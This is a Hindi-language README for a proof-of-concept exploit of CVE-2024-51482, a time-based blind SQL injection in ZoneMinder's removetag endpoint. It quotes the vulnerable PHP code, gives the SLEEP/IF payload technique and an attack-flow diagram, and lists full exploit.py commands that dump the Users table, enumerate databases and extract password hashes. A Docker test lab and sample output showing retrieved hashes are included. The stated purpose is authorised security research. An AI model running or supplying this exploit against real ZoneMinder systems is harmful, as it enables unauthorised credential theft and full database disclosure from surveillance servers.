
समय-आधारित SQL इंजेक्शन PoC CVE-2024-51482 के लिए ZoneMinder में, प्रतिलिपि योग्य Docker लैब और स्वचालित डेटा निष्कर्षण के साथ।
⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। इस उपकरण को उन प्रणालियों के विरुद्ध चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।
इस रिपॉजिटरी में ZoneMinder को लक्षित करने वाला एक समय-आधारित SQL इंजेक्शन PoC शामिल है।
यह उपकरण अनुमति देता है:
इसमें सुरक्षित परीक्षण के लिए पूरी तरह से प्रतिलिपि प्रस्तुत करने योग्य Docker लैब भी शामिल है।
ZoneMinder एक मुफ़्त, ओपन सोर्स क्लोज्ड-सर्किट टेलीविज़न सॉफ़्टवेयर एप्लिकेशन है। यह भेद्यता ZoneMinder के removetag एंडपॉइंट में अपर्याप्त इनपुट सत्यापन से उत्पन्न होती है। उपयोगकर्ता द्वारा प्रदान किया गया इनपुट बिना उचित स्वच्छता या पैरामीटरीकरण के सीधे SQL क्वेरी में शामिल किया जाता है, जिससे हमलावर दुर्भावनापूर्ण बूलियन-आधारित SQL पेलोड इंजेक्ट कर सकते हैं। शोषण निम्नलिखित का उपयोग करता है:
SLEEP(x - IF(condition, 0, x))
प्रतिक्रिया समय के माध्यम से डेटा का अनुमान लगाने के लिए।
पूर्ण भेद्य कोड स्निपेट Github Maintainer Advisory से:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attacker ZoneMinder Web App
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← authenticated session
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ SQL boolean query executed
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ Delayed response (timing oracle) │ ← condition inferred
│ │
│ Repeat requests │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Timing differences reveal characters │
│ │
│ Binary search per character │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Extracted data (1 char at a time) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Full database disclosure │
│ │
✓ Complete data exfiltration via blind SQLi
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # पर्यावरण चर कॉन्फ़िगर करें
docker compose up -d
बिना किसी फ्लैग के, उपकरण लक्ष्य को प्रमाणित करेगा, इसकी भेद्यता की जांच करेगा, और यदि भेद्य है, तो zm.Users तालिका (dump-users कमांड) से ID, Username, Password, Name और Email कॉलम डंप करेगा।
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
केवल जांचता है कि लक्ष्य भेद्य है या नहीं।
python exploit.py -t http://target/zm -u <username> -p <password> check
zm.Users तालिका से ID, Username, Password, Name और Email कॉलम डंप करता है। यदि कोई कमांड निर्दिष्ट नहीं है तो यह डिफ़ॉल्ट कमांड है।
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
सभी डेटाबेस सूचीबद्ध करता है।
python exploit.py -t http://target/zm -u <username> -p <password> list-db
निर्दिष्ट डेटाबेस में तालिकाओं को सूचीबद्ध करता है।
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
निर्दिष्ट तालिका में स्तंभों को सूचीबद्ध करता है।
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
निर्दिष्ट तालिका से सभी डेटा डंप करता है।
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
आप डंप करने के लिए स्तंभ भी निर्दिष्ट कर सकते हैं (डिफ़ॉल्ट रूप से सभी):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
यदि फ़ाइल मौजूद नहीं है, तो इसे बनाया जाएगा। यदि यह पहले से मौजूद है, तो नए परिणाम जोड़े जाएंगे।
--outfile results.csv
| फ्लैग | विवरण | उदाहरण |
|---|---|---|
-t, --target | लक्ष्य बेस URL | -t http://localhost:8080 |
-u, --user | प्रमाणीकरण के लिए उपयोगकर्ता नाम | -u admin |
-p, --password | प्रमाणीकरण के लिए पासवर्ड | -p admin |
--cookie | लॉगिन के बजाय मौजूदा ZMSESSID कुकी का उपयोग करें | --cookie abc123... |
| कमांड | विवरण | उदाहरण |
|---|---|---|
check | जांचें कि लक्ष्य भेद्य है या नहीं (समय-आधारित SQLi) | check |
dump-users | सीधे zm.Users तालिका डंप करें | dump-users |
list-db | सभी डेटाबेस सूचीबद्ध करें | list-db |
list-tables | डेटाबेस से तालिकाएँ सूचीबद्ध करें | list-tables --db zm |
list-columns | तालिका से स्तंभ सूचीबद्ध करें | list-columns --db zm --table Users |
dump-table | एक विशिष्ट तालिका डंप करें | dump-table --db zm --table Users |
| फ्लैग | विवरण | आवश्यकता | उदाहरण |
|---|---|---|---|
--db | डेटाबेस नाम | हाँ (तालिका/स्तंभ संचालन के लिए) | --db zm |
--table | तालिका नाम | हाँ (स्तंभ/डंप के लिए) | --table Users |
--columns | डंप करने के लिए अल्पविराम से अलग किए गए स्तंभ | वैकल्पिक | --columns Username,Password |
| फ्लैग | विवरण | डिफ़ॉल्ट | उदाहरण |
|---|---|---|---|
--threads | समवर्ती निष्कर्षण थ्रेड की संख्या | 5 | --threads 6 |
--delay | समय-आधारित SQLi के लिए उपयोग किया गया विलंब | 3 | --delay 2 |
--no-check | शोषण से पहले भेद्यता जांच छोड़ें | False | --no-check |
| फ्लैग | विवरण | उदाहरण |
|---|---|---|
--outfile | आउटपुट को CSV फ़ाइल में सहेजें | --outfile results.csv |
--no-display | टर्मिनल आउटपुट अक्षम करें | --no-display |
| फ्लैग | विवरण | डिफ़ॉल्ट | उदाहरण |
|---|---|---|---|
-v, --verbose | डीबग लॉगिंग सक्षम करें | False | -v |
--log-file | लॉग फ़ाइल का पथ | logs/exploit.log | --log-file out.log |
--no-color | रंगीन आउटपुट अक्षम करें | False | --no-color |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users zm.Users तालिका को डंप करने का एक शॉर्टकट है।--no-check का उपयोग केवल तभी करें जब आप सुनिश्चित हों कि लक्ष्य भेद्य है।शामिल docker-compose.yml एक भेद्य ZoneMinder इंस्टेंस सेट करता है।
cp .env.example .env # पर्यावरण चर कॉन्फ़िगर करें
docker compose up -d
http://localhost:8080/ (या अपने कस्टम पोर्ट) पर वेब इंटरफ़ेस तक पहुँचें। डिफ़ॉल्ट क्रेडेंशियल admin:admin हैं। फिर आप परीक्षण के लिए इस स्थानीय इंस्टेंस के विरुद्ध शोषण चला सकते हैं।
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] Target URL: http://localhost:8080/
[∗] Module : dump-table
[∗] Output will be saved to: ./out.csv
[∗] Attempting to log in with username/password authentication
🡲 Credentials: admin:admin
[+] Successfully authenticated as user admin
[∗] Testing target vulnerability...
[+] Target appears to be vulnerable (response time indicates successful injection).
[∗] Dumping contents of table zm.Users...
[+] Found columns: Username, Password
[∗] Retrieving number of rows in the table...
[+] Table contains 2 rows. Starting dump...
[∗] Progress: 5/5 | admin
[∗] Progress: 60/60 | $2h$12$NHZs...
[+] Retrieved row 1 : admin, $2h$12$NHZs...
[∗] Progress: 4/4 | flag
[∗] Progress: 60/60 | $2y$10$1Ei....
[+] Retrieved row 2 : flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] Results written to ./out.csv
[+] Work done. Bye!